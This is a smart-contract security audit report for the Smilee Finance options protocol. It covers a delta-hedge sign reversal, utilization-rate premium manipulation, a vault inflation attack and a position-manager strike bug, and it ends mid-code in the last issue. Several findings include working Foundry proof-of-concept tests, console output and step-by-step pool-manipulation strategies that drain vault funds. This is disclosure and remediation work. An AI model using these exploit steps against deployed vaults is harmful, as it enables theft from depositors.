SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for: Smilee Finance
Prepared by: Sherlock
Lead Security Expert: panprog
Dates Audited: February 14 - March 6, 2024
Prepared on: April 1, 2024

Introduction

Decentralized options protocol disrupting DeFi with the first-ever Impermanent Gain options offering up to 1,000x leverage & no liquidations.

Scope

Repository: dverso/smilee-v2-contracts

Branch: master

Commit: 441a3cbdc8b926e7625a4ea82d6bdf7add1ee9f6

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
9	2

Issues not fixed or acknowledged

Medium	High
0	0

Issue H-1: The sign of delta hedge amount can be reversed by malicious user due to incorrect condition in `FinanceIGDel`

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/36

Found by

panprog

Summary

When delta hedge amount is calculated after the trade, the final check is to account for sqrt computation error and ensure the exchanged amount of side token doesn't exceed amount of side tokens the vault has. The issue is that this check is incorrect: it compares absolute value of the delta hedge amount, but always sets positive amount of side tokens if the condition is true. If the delta hedge amount is negative, this final check will reverse the sign of the delta hedge amount, messing up the hedged assets the protocol has.

As a result, if the price moves significantly before the next delta hedge, protocol might not have enough funds to pay off users due to incorrect hedging. It also allows the user to manipulate underlying uniswap pool, then force the vault to delta hedge large amount at very bad price while trading tiny position of size 1 wei, without paying any fees. Repeating this process, the malicious user can drain/steal all funds from the vault in a very short time.

Vulnerability Detail

The final check in calculating delta hedge amount in `FinanceIGDelta.deltaHedgeAmount` is:

```
// due to sqrt computation error, sideTokens to sell may be very few more than
↪  available
if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {
    if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount <
↪  params.sideTokensAmount / 10000) {
        tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);
    }
}
```

The logic is that if due to small computation errors, delta hedge amount (to sell side token) can slightly exceed amount of side tokens the vault has, when in reality it

means to just sell all side tokens the vault has, then delta hedge amount should equal to side tokens amount vault has.

The issue here is that only positive delta hedge amount means vault has to sell side tokens, while negative amount means it has to buy side tokens. But the condition compares `abs(tokensToSwap)`, meaning that if the delta hedge amount is negative, but in absolute value very close to side tokens amount the vault has, then the condition will also be true, which will set `tokensToSwap` to a positive amount of side tokens, i.e. will reverse the delta hedge amount from `-sideTokens` to `+sideTokens`.

It's very easy for malicious user to craft such situation. For example, if current price is significantly greater than strike price, and there are no other open trades, simply buy IG bull options for 50% of the vault amount. Then buy IG bull options for another 50%. The first trade will force the vault to buy ETH for delta hedge, while the second trade will force the vault to sell the same ETH amount instead of buying it. If there are open trades, it's also easy to calculate the correct proportions of the trades to make `delta hedge amount = -side tokens`.

Once the vault incorrectly hedges after malicious user's trade, there are multiple bad scenarios which will harm the protocol. For example:

1. If no trade happens for some time and the price increases, the protocol will have no side tokens to hedge, but the bull option buyers will still receive their payoff, leaving vault LPs in a loss, up to a situation when the vault will not have enough funds to even pay the option buyers payoff.
2. Malicious user can abuse the vault's incorrect hedge to directly profit from it. After the trade described above, any trade, even 1 wei trade, will make vault re-hedge with the correct hedge amount, which can be a significant amount. Malicious user can abuse it by manipulating the underlying uniswap pool: 2.1. Buy underlying uniswap pool up to the edge of allowed range (say, +1.8% of current price, average price of ETH bought = +0.9% of current price) 2.2. Provide uniswap liquidity in that narrow range (+1.8%..+2.4%) 2.3. Open/close any position in IG with amount = 1 wei (basically paying no fees) -> this forces the vault to delta hedge (buy) large amount of ETH at inflated price ~+2% of the current price. 2.5. Remove uniswap liquidity. 2.6. Sell back in the uniswap pool. 2.7. During the delta hedge, uniswap position will buy ETH (uniswap liquidity will sell ETH) at the average price of +2.1% of the current price, also receiving pool fees. The fees for manipulating the pool and "closing" position via providing liquidity will cancel out and overall profit will be: +2.1% - 0.9% = +1.2% of the delta hedge amount.

The strategy can be enchanced to optimize the profitability, but the idea should be clear.

Impact

Malicious user can steal all vault funds, and/or the vault LPs will incur losses higher than uniswap LPs or vault will be unable to payoff the traders due to incorrect hedged amount.

Proof Of Concept

Copy to `attack.t.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPositionManager} from "@project/interfaces/IPositionManager.sol";
import {Epoch} from "@project/lib/EpochController.sol";
import {AmountsMath} from "@project/lib/AmountsMath.sol";
import {EpochFrequency} from "@project/lib/EpochFrequency.sol";
import {OptionStrategy} from "@project/lib/OptionStrategy.sol";
import {AddressProvider} from "@project/AddressProvider.sol";
import {MarketOracle} from "@project/MarketOracle.sol";
import {FeeManager} from "@project/FeeManager.sol";
import {Vault} from "@project/Vault.sol";
import {TestnetToken} from "@project/testnet/TestnetToken.sol";
import {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";
import {DVPUtils} from "./utils/DVPUtils.sol";
import {TokenUtils} from "./utils/TokenUtils.sol";
import {Utils} from "./utils/Utils.sol";
import {VaultUtils} from "./utils/VaultUtils.sol";
import {MockedIG} from "./mock/MockedIG.sol";
import {MockedRegistry} from "./mock/MockedRegistry.sol";
import {MockedVault} from "./mock/MockedVault.sol";
import {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";
import {PositionManager} from "@project/periphery/PositionManager.sol";


contract IGVaultTest is Test {
    using AmountsMath for uint256;

    address admin = address(0x1);

    // User of Vault
    address alice = address(0x2);
```

```
    address bob = address(0x3);

    //User of DVP
    address charlie = address(0x4);
    address david = address(0x5);

    AddressProvider ap;
    TestnetToken baseToken;
    TestnetToken sideToken;
    FeeManager feeManager;

    MockedRegistry registry;

    MockedVault vault;
    MockedIG ig;
    TestnetPriceOracle priceOracle;
    TestnetSwapAdapter exchange;
    uint _strike;

    function setUp() public {
        vm.warp(EpochFrequency.REF_TS);
        //ToDo: Replace with Factory
        vm.startPrank(admin);
        ap = new AddressProvider(0);
        registry = new MockedRegistry();
        ap.grantRole(ap.ROLE_ADMIN(), admin);
        registry.grantRole(registry.ROLE_ADMIN(), admin);
        ap.setRegistry(address(registry));

        vm.stopPrank();

        vault = MockedVault(VaultUtils.createVault(EpochFrequency.DAILY, ap,
↪   admin, vm));
        priceOracle = TestnetPriceOracle(ap.priceOracle());

        baseToken = TestnetToken(vault.baseToken());
        sideToken = TestnetToken(vault.sideToken());

        vm.startPrank(admin);

        ig = new MockedIG(address(vault), address(ap));
        ig.grantRole(ig.ROLE_ADMIN(), admin);
        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);
        vault.grantRole(vault.ROLE_ADMIN(), admin);
        vm.stopPrank();
        ig.setOptionPrice(1e3);
        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1
```


```
        ig.useRealDeltaHedge();
        ig.useRealPercentage();
        ig.useRealPremium();

        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);

        vm.prank(admin);
        registry.registerDVP(address(ig));
        vm.prank(admin);
        MockedVault(vault).setAllowedDVP(address(ig));
        feeManager = FeeManager(ap.feeManager());

        exchange = TestnetSwapAdapter(ap.exchangeAdapter());
    }

    function testIncorrectDeltaHedge() public {
        _strike = 1e18;
        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);
        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);

        Utils.skipDay(true, vm);

        vm.prank(admin);
        ig.rollEpoch();

        VaultUtils.logState(vault);
        DVPUtils.debugState(ig);

        testBuyOption(1.09e18, 0.5e18, 0);
        testBuyOption(1.09e18, 0.5e18, 0);
    }

    function testBuyOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal {

        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike,
↪   optionAmountUp, optionAmountDown);

        vm.startPrank(charlie);
        premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown,
↪   premium, 1e18, 0);
        vm.stopPrank();

        console.log("premium", premium);
```


```
        VaultUtils.logState(vault);
    }

    function testSellOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal {
        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        uint256 charliePayoff;
        uint256 charliePayoffFee;
        {
            vm.startPrank(charlie);
            (charliePayoff, charliePayoffFee) = ig.payoff(
                ig.currentEpoch(),
                _strike,
                optionAmountUp,
                optionAmountDown
            );

            charliePayoff = ig.burn(
                ig.currentEpoch(),
                charlie,
                _strike,
                optionAmountUp,
                optionAmountDown,
                charliePayoff,
                0.1e18
            );
            vm.stopPrank();

            console.log("payoff received", charliePayoff);
        }

        VaultUtils.logState(vault);
    }

    function _assurePremium(
        address user,
        uint256 strike,
        uint256 amountUp,
        uint256 amountDown
    ) private returns (uint256 premium_, uint256 fee) {
        (premium_, fee) = ig.premium(strike, amountUp, amountDown);
        TokenUtils.provideApprovedTokens(admin, address(baseToken), user,
↪   address(ig), premium_*2, vm);
    }
```

```
}
```

Execution console:

```
  baseToken balance 1000000000000000000
  sideToken balance 1000000000000000000
...
  premium 0
  baseToken balance 2090000000000000000
  sideToken balance 0
...
  premium 25585649987654406
  baseToken balance 1570585649987654474
  sideToken balance 499999999999999938
...
  premium 25752512349788475
  baseToken balance 2141338162337442881
  sideToken balance 0
...
  premium 0
  baseToken balance 1051338162337442949
  sideToken balance 999999999999999938
...
```

Notice:

1. First trade (amount = 1 wei) settles delta-hedge at current price (1.09): sideToken = 0 because price is just above kB
2. 2nd trade (buy ig bull amount = 0.5) causes delta-hedge of buying 0.5 side token
3. 3rd trade (buy ig bull amount = 0.5) causes delta-hedge of **selling** 0.5 side token (instead of buying 0.5)
4. Last trade (amount = 1 wei) causes vault to buy 1 side token for correct delta-hedge (but at 0 fee to user).

Code Snippet

`FinanceIGDelta.deltaHedgeAmount` incorrect condition:
https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/lib/FinanceIGDelta.sol#L109-L114

Tool used

Manual Review

Recommendation

The check should be done only when `tokensToSwap` is positive:

```
        // due to sqrt computation error, sideTokens to sell may be very few
 ↪  more than available
-       if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {
+       if (tokensToSwap > 0 && SignedMath.abs(tokensToSwap) >
 ↪  params.sideTokensAmount) {
            if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount <
 ↪  params.sideTokensAmount / 10000) {
                tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);
            }
        }
```

Discussion

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/a871e4fc503df51ee9846f34363c0d94d02c83a0.

panprog

Fix review: Fixed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-2: Utilization rate for bonding curve purposes is calculated for a total of bull and bear usage, which can be abused to steal all vault funds

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/99

Found by

panprog

Summary

The bonding curve used in the Smilee volatility calculation has the following purpose (from the docs):

> to have volatility that responds to trades: specifically if a user buys volatility goes up, if they sell it goes down so as to ensure responsiveness to market actions

The problem is that this volatility used to price IG options is calculated from the utilization rate of both bull and bear together, however bull and bear premiums can be significantly different (when the current price is away from the strike), which makes changes to bull and bear pricing assymetrical in relation to utilization rate. This makes it possible to buy higher-priced option (bull or bear), then manipulate the volatility up by buying 100% of the lower-priced option (bear or bull), then sell higher-priced option at inflated volatility (== inflated price), and then sell lower-prices option at reduced volatility.

The price increase of the higher-priced option is larger in absolute value than the price decrease of lower-priced option, meaning these actions together are profitable for the trader (basically stealing from the vault).

Repeating such actions allows to steal all vault funds rather quickly (in about 1500 transactions)

Vulnerability Detail

This is the scenario of stealing funds from the vault:

1. Example: strike = 1, price = 1.2, weekly expiration, Kb = 1.23, vault has total deposit of 2 (available liquidity bull = 1, bear = 1)
2. Buy 0.5 IG Bull, premium paid = 0.05058 [increases utilization to 25%]

3. Buy 1 IG Bear, premium paid = 0.0001 [increases utilization to 75% basically for free]
4. Sell 0.5 IG Bull, premium received = 0.05139 [decreases utilization to 50%]
5. Sell 1 IG Bear, premium received = 0.000003 [decreases utilization to 0%]

As can be seen from the example, total premium paid is 0.05059, total premium received is 0.05139, all in one transaction. That's about 0.07% of vault amount stolen per transaction. All vault can be stolen in about 1500 transactions.

The numbers can be different depending on current price, expiry, volatility and the other things, but can be optimized to select appropriate amounts and price difference from the strike to steal from the vault.

Impact

All vault funds can be stolen by malicious user in about 1500 transactions.

Proof Of Concept

Copy to `attack.t.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPositionManager} from "@project/interfaces/IPositionManager.sol";
import {Epoch} from "@project/lib/EpochController.sol";
import {AmountsMath} from "@project/lib/AmountsMath.sol";
import {EpochFrequency} from "@project/lib/EpochFrequency.sol";
import {OptionStrategy} from "@project/lib/OptionStrategy.sol";
import {AddressProvider} from "@project/AddressProvider.sol";
import {MarketOracle} from "@project/MarketOracle.sol";
import {FeeManager} from "@project/FeeManager.sol";
import {Vault} from "@project/Vault.sol";
import {TestnetToken} from "@project/testnet/TestnetToken.sol";
import {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";
import {DVPUtils} from "./utils/DVPUtils.sol";
import {TokenUtils} from "./utils/TokenUtils.sol";
import {Utils} from "./utils/Utils.sol";
import {VaultUtils} from "./utils/VaultUtils.sol";
import {MockedIG} from "./mock/MockedIG.sol";
import {MockedRegistry} from "./mock/MockedRegistry.sol";
```

```
import {MockedVault} from "./mock/MockedVault.sol";
import {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";
import {PositionManager} from "@project/periphery/PositionManager.sol";


contract IGTradeTest is Test {
    using AmountsMath for uint256;

    address admin = address(0x1);

    // User of Vault
    address alice = address(0x2);
    address bob = address(0x3);

    //User of DVP
    address charlie = address(0x4);
    address david = address(0x5);

    AddressProvider ap;
    TestnetToken baseToken;
    TestnetToken sideToken;
    FeeManager feeManager;

    MockedRegistry registry;

    MockedVault vault;
    MockedIG ig;
    TestnetPriceOracle priceOracle;
    TestnetSwapAdapter exchange;
    uint _strike;

    function setUp() public {
        vm.warp(EpochFrequency.REF_TS);
        //ToDo: Replace with Factory
        vm.startPrank(admin);
        ap = new AddressProvider(0);
        registry = new MockedRegistry();
        ap.grantRole(ap.ROLE_ADMIN(), admin);
        registry.grantRole(registry.ROLE_ADMIN(), admin);
        ap.setRegistry(address(registry));

        vm.stopPrank();

        vault = MockedVault(VaultUtils.createVault(EpochFrequency.WEEKLY, ap,
↪   admin, vm));
        priceOracle = TestnetPriceOracle(ap.priceOracle());
```

```
        baseToken = TestnetToken(vault.baseToken());
        sideToken = TestnetToken(vault.sideToken());

        vm.startPrank(admin);

        ig = new MockedIG(address(vault), address(ap));
        ig.grantRole(ig.ROLE_ADMIN(), admin);
        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);
        vault.grantRole(vault.ROLE_ADMIN(), admin);
        vm.stopPrank();
        ig.setOptionPrice(1e3);
        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1
        ig.useRealDeltaHedge();
        ig.useRealPercentage();
        ig.useRealPremium();

        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);

        vm.prank(admin);
        registry.registerDVP(address(ig));
        vm.prank(admin);
        MockedVault(vault).setAllowedDVP(address(ig));
        feeManager = FeeManager(ap.feeManager());

        exchange = TestnetSwapAdapter(ap.exchangeAdapter());
    }

    // try to buy/sell ig bull below strike for user's profit
    // this will not be hedged, and thus the vault should lose funds
    function test() public {
        _strike = 1e18;
        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);
        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);

        Utils.skipWeek(true, vm);

        vm.prank(admin);
        ig.rollEpoch();

        VaultUtils.logState(vault);
        DVPUtils.debugState(ig);

        // increasing internal volatility cheaply
        testBuyOption(1e18, 1e18, 0);
        testSellOption(1.2e18, 1e18, 0);
        for (uint i = 0; i < 100; i++) {
            testBuyOption(1.2e18, 0.5e18, 0);
```

```
            testBuyOption(1.2e18, 0, 1e18); // increase volatility to raise
↪   premium
            testSellOption(1.2e18, 0.5e18, 0); // sell at increased premium
            testSellOption(1.2e18, 0, 1e18); // sell at reduced premium, but the
↪   loss should be smaller in absolute value
        }
        testBuyOption(1.2e18, 1e18, 0);
        testSellOption(1e18, 1e18, 0);

        (uint256 btAmount, uint256 stAmount) = vault.balances();
        console.log("base token notional", btAmount);
        console.log("side token notional", stAmount);
    }

    function testBuyOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal {

        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike,
↪   optionAmountUp, optionAmountDown);

        vm.startPrank(charlie);
        premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown,
↪   premium, 10e18, 0);
        vm.stopPrank();

        console.log("premium", premium);
    }

    function testSellOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal returns (uint) {
        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        uint256 charliePayoff;
        uint256 charliePayoffFee;
        {
            vm.startPrank(charlie);
            (charliePayoff, charliePayoffFee) = ig.payoff(
                ig.currentEpoch(),
                _strike,
                optionAmountUp,
                optionAmountDown
            );
```


```
            charliePayoff = ig.burn(
                ig.currentEpoch(),
                charlie,
                _strike,
                optionAmountUp,
                optionAmountDown,
                charliePayoff,
                0.1e18
            );
            vm.stopPrank();

            console.log("payoff received", charliePayoff);
        }
    }

    function _assurePremium(
        address user,
        uint256 strike,
        uint256 amountUp,
        uint256 amountDown
    ) private returns (uint256 premium_, uint256 fee) {
        (premium_, fee) = ig.premium(strike, amountUp, amountDown);
        TokenUtils.provideApprovedTokens(admin, address(baseToken), user,
↪   address(ig), premium_*5, vm);
    }
}
```

Execution console:

```
  baseToken balance 10000000000000000000
  sideToken balance 10000000000000000000
...
  premium 50583133160718864
  premium 103825387572671
  payoff received 51392715330063004
  payoff received 2794032872479
  premium 50583133160718864
  premium 103825387572671
  payoff received 51392715330063004
  payoff received 2794032872479
...
  payoff received 51392715330063004
  payoff received 2794032872479
  premium 102785430660126009
  payoff received 4990524176759610
  base token notional 932297866651985054
```

```
side token notional 999999999999999956
```

Notice:

1. Each 4 actions pay a total premium of 0.05059 and receive a total payoff of 0.05139 (0.0008 profit per 4 actions)
2. After 100 such sequences of 4 actions, the vault loses 0.068 (6.8%)

Code Snippet

`Notional.utilizationRateFactors` returns total (bear+bull) used and initial liquidity: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/lib/Notional.sol#L154-L160

`IG.getUtilizationRate` uses these to calculate utilization rate: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/IG.sol#L116-L121

Tool used

Manual Review

Recommendation

Possible mitigations include:

1. Increase the spread between buying and selling premium
2. Calculate utilization rate separately for bull and bear. However, this is not the best solution, because it might open up statistical attack vectors due to difference in bull/bear volatilities (has to be investigated more deeply)

Discussion

sherlock-admin4

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> invalid; this seem to be an aknowledged issue ; read;https://docs.google.com/spreadsheets/d/1Ff7oeqtM8CjKmcV9OP8Q7HcFsGFgBPTYST8MfGfRzIs/edit#gid=984409625 Num. 19. and also thinking about the fees user need to pay for gas and protocol; it wouldnt be a win-win from the way i see it(i mean for such low profit)

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/84174d20544970309c862a2bf35ccfa3046d6bd9.

panprog

Fix review: A complex vega-weighted utilization rate solution was implemented, which solves the issue in the most correct way. In some edge cases the volatility might be incorrect (if trades are rare and vega for the used liquidity changes considerably), however in a way which can not be abused, just the user's price is bad for the user (too high if user buys, too low is user sells). So in these cases the impact is at most low. I consider it fixed.

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-1: Vault Inflation Attack

Source:
https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/22

Found by

kfx, santipu_

Summary

An attacker can be the first and only depositor on the vault during the first epoch in order to execute an inflation attack that will steal the deposited funds of all depositors in the next epoch.

Vulnerability Detail

A malicious user can perform a donation to execute a classic first depositor/ERC4626 inflation Attack against the new Smilee vaults. The general process of this attack is well-known, and a detailed explanation of this attack can be found in many of the resources such as the following:

- https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks
- https://mixbytes.io/blog/overview-of-the-inflation-attack

In short, to kick-start the attack, the malicious user will often usually mint the smallest possible amount of shares (e.g., 1 wei) and then donate significant assets to the vault to inflate the number of assets per share. Subsequently, it will cause a rounding error when other users deposit.

However, in Smilee there's the problem that the deposits are not processed until the epoch is finished. Therefore, the attacker would need to be the only depositor on the first epoch of the vault; after the second epoch starts, all new depositors will lose all the deposited funds due to a rounding error.

This scenario may happen for newly deployed vaults with a short maturity period (e.g., 1 day) and/or for vaults with not very popular tokens.

Impact

An attacker will steal all funds deposited by the depositors of the next epoch.

PoC

The following test can be pasted in `IGVault.t.sol` and be run with the following command: `forge test --match-test testInflationAttack`.

```
function testInflationAttack() public {
    // Attacker deposits 1 wei to the vault
    VaultUtils.addVaultDeposit(bob, 1, admin, address(vault), vm);

    // Next epoch...
    Utils.skipDay(true, vm);
    vm.prank(admin);
    ig.rollEpoch();

    // Attacker has 1 wei of shares
    vm.prank(bob);
    vault.redeem(1);
    assertEq(1, vault.balanceOf(bob));

    // Other users deposit liquidity (15e18)
    VaultUtils.addVaultDeposit(alice, 10e18, admin, address(vault), vm);
    VaultUtils.addVaultDeposit(alice, 5e18, admin, address(vault), vm);

    Utils.skipDay(true, vm);

    // Before rolling an epoch, the attacker donates funds to the vault to
↪   trigger rounding
    vm.prank(admin);
    baseToken.mint(bob, 15e18);
    vm.prank(bob);
    baseToken.transfer(address(vault), 15e18);

    // Next epoch...
    vm.prank(admin);
    ig.rollEpoch();

    // No new shares have been minted
    assertEq(1, vault.totalSupply());

    // Now, attacker can withdraw all funds from the vault
    vm.prank(bob);
    vault.initiateWithdraw(1);

    // Next epoch...
    Utils.skipDay(true, vm);
    vm.prank(admin);
    ig.rollEpoch();
```

```
    // The attacker withdraws all the funds (donated + stolen)
    vm.prank(bob);
    vault.completeWithdraw();
    assertEq(baseToken.balanceOf(bob), 30e18 + 1);
}
```

Code Snippet

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/Vault.sol#L324-L349

Tool used

Manual Review

Recommendation

To mitigate this issue it's recommended to enforce a minimum liquidity requirement on the deposit and withdraw functions. This way, it won't be possible to round down the new deposits.

```
    function deposit(uint256 amount, address receiver, uint256 accessTokenId)
 ↪  external isNotDead whenNotPaused {
        // ...

        _state.liquidity.pendingDeposits += amount;
        _state.liquidity.totalDeposit += amount;
        _emitUpdatedDepositReceipt(receiver, amount);

+       require(_state.liquidity.totalDeposit > 1e6);

        // ...
    }

    function _initiateWithdraw(uint256 shares, bool isMax) internal {
        // ...

        _state.liquidity.totalDeposit -= withdrawDepositEquivalent;
        depositReceipt.cumulativeAmount -= withdrawDepositEquivalent;

+       require(_state.liquidity.totalDeposit > 1e6 ||
 ↪  _state.liquidity.totalDeposit == 0);
```

```
        // ...
    }
```

Discussion

sherlock-admin4

2 comment(s) were left on this issue during the judging contest.

panprog commented:

> low, because it is highly unlikely that there will be just 1 wei deposit in the first epoch. If it is, something is wrong with the vault in the first place and might be considered admin mistake.

takarez commented:

> valid; first deposit attack; medium(7)

metadato-eth

SAME AS 137 and 142 LOW We agree vault inflation attack can mathematically be possible but Smilee vaults are not standard ones. For this attack to happen there must be a single depositor in the very first epoch. First epoch has a custom lenght and it is used by the team simply to set up the vault and launch it with some initial capital (otherwise the IG side would have 0 notional to trade). Therefore the exploit is basically not possible. In any case we implemented the fix.

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/da38dba1ec14e7888c0e374dd325dd94339a5b5a.

panprog

Fix review: Fixed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

santipu03

Escalate

I think that this issue should be medium severity as it fits with the description on the Sherlock rules:

- Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The losses must exceed small, finite amount of funds, and any amount relevant based on the precision or significance of the loss.

- Breaks core contract functionality, rendering the contract useless or leading to loss of funds.

This issue will cause a **loss of funds**, breaking a core functionality of the protocol, as the attacker will steal the deposits of users depositing on the next epochs after the attack. Also, it **requires certain external conditions or specific states** because an attacker must be the only depositor on the first epoch (or on an epoch with 0 current liquidity).

Also, regarding the sponsor comments, there is no evidence provided to Watsons on the public domain during the audit contest period (14 Feb to 6 Mar) that states that the protocol team will perform an initial deposit on the first epoch when deploying the vault.

sherlock-admin2

> Escalate
>
> I think that this issue should be medium severity as it fits with the description on the Sherlock rules:
>
> - Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The losses must exceed small, finite amount of funds, and any amount relevant based on the precision or significance of the loss.
> - Breaks core contract functionality, rendering the contract useless or leading to loss of funds.
>
> This issue will cause a **loss of funds**, breaking a core functionality of the protocol, as the attacker will steal the deposits of users depositing on the next epochs after the attack. Also, it **requires certain external conditions or specific states** because an attacker must be the only depositor on the first epoch (or on an epoch with 0 current liquidity).
>
> Also, regarding the sponsor comments, there is no evidence provided to Watsons on the public domain during the audit contest period (14 Feb to 6 Mar) that states that the protocol team will perform an initial deposit on the first epoch when deploying the vault.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

This issue should remain low/invalid. As the sponsor said the first epoch is completely under admin control and will not be used by the user. You're right that it's not written in the readme, but how is it possible that the protocol describes all possible edge cases every time? By design, this epoch will only be used by the protocol, not by users.

santipu03

@cvetanovv

I may be wrong, but what I get from reading Sherlock's rules is that only the contest README has more importance than the general rules for valid issues:

> Hierarchy of truth: Contest README > Sherlock rules for valid issues > protocol documentation (including code comments) > protocol answers on the contest public Discord channel. While considering the validity of an issue in case of any conflict the sources of truth are prioritized in the above order.

Therefore, if I'm not missing something, this issue should be considered valid because the sponsor's mitigation wasn't mentioned on the README.

nevillehuang

Agree with @santipu03 unless such mitigations is explicitly mentioned in the known issue section, any possible mitigation would be an assumption, and so this issue should remain as valid medium, of course unless there is sufficient information to back up the intended mitigation mentioned by sponsor.

Czar102

Unless the sponsor has communicated these plans during the time of the audit, I'm planning to accept the escalation and make this a valid Medium.

@cvetanovv @nevillehuang @santipu03 Is only #137 a duplicate of this issue? I can see that the duplication status on #142 is disputed, it will be considered separately.

nevillehuang

@Czar102 Yes to my knowledge, only #137 qualifies as an duplicate. #142 should be a separate issue to be considered

0xjuaan

Hmm, isn't this low severity since it requires that throughout the first epoch, nobody deposits other than the attacker?

A normal vault inflation attack can be considered H/M since the attacker would simply need to be the first depositor and this can be achieved through front-running.

However this attack would require them to be the only depositor within the first epoch, which has can last 1 day, or even 1 month in some cases- so to me it seems like the likelihood would bring it to low severity, but of course I will respect the judge's decision.

Czar102

> However this attack would require them to be the only depositor within the first epoch, which has can last 1 day, or even 1 month in some cases- so to me it seems like the likelihood would bring it to low severity, but of course I will respect the judge's decision.

Indeed, but there are cases when the attacker being the only depositor is plausible. Because of that, I think Medium severity is appropriate.

Planning to accept the escalation and make this issue a valid Medium. #137 will be a duplicate, status of #142 is TBD.

Czar102

Result: Medium Has duplicates

Only #137 is a duplicate.

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- santipu03: accepted

0xMR0

> Result: Medium Has duplicates
>
> Only #137 is a duplicate.

@Czar102 `Has Duplicates` label is missed for this issue

Issue M-2: Position Manager providing the wrong strike when storing user's position data

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/23

The protocol has acknowledged this issue.

Found by

jennifer37, saidam017

Summary

When users mint position using `PositionManager`, users can provide strike that want to be used for the trade. However, if the provided strike data is not exactly the same with IG's current strike, the minted position's will be permanently stuck inside the `PositionManager`'s contract.

Vulnerability Detail

When `mint` is called inside `PositionManager`, it will calculate the premium, transfer the required base token, and eventually call `dvp.mint`, providing the user's provided information.

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/periphery/PositionManager.sol#L129-L137

```
    function mint(
        IPositionManager.MintParams calldata params
    ) external override returns (uint256 tokenId, uint256 premium) {
        IDVP dvp = IDVP(params.dvpAddr);

        if (params.tokenId != 0) {
            tokenId = params.tokenId;
            ManagedPosition storage position = _positions[tokenId];

            if (ownerOf(tokenId) != msg.sender) {
                revert NotOwner();
            }
            // Check token compatibility:
            if (position.dvpAddr != params.dvpAddr || position.strike !=
↪   params.strike) {
                revert InvalidTokenID();
            }
```

```
            Epoch memory epoch = dvp.getEpoch();
            if (position.expiry != epoch.current) {
                revert PositionExpired();
            }
        }
        if ((params.notionalUp > 0 && params.notionalDown > 0) &&
↪   (params.notionalUp != params.notionalDown)) {
            // If amount is a smile, it must be balanced:
            revert AsymmetricAmount();
        }

        uint256 obtainedPremium;
        uint256 fee;
        (obtainedPremium, fee) = dvp.premium(params.strike, params.notionalUp,
↪   params.notionalDown);

        // Transfer premium:
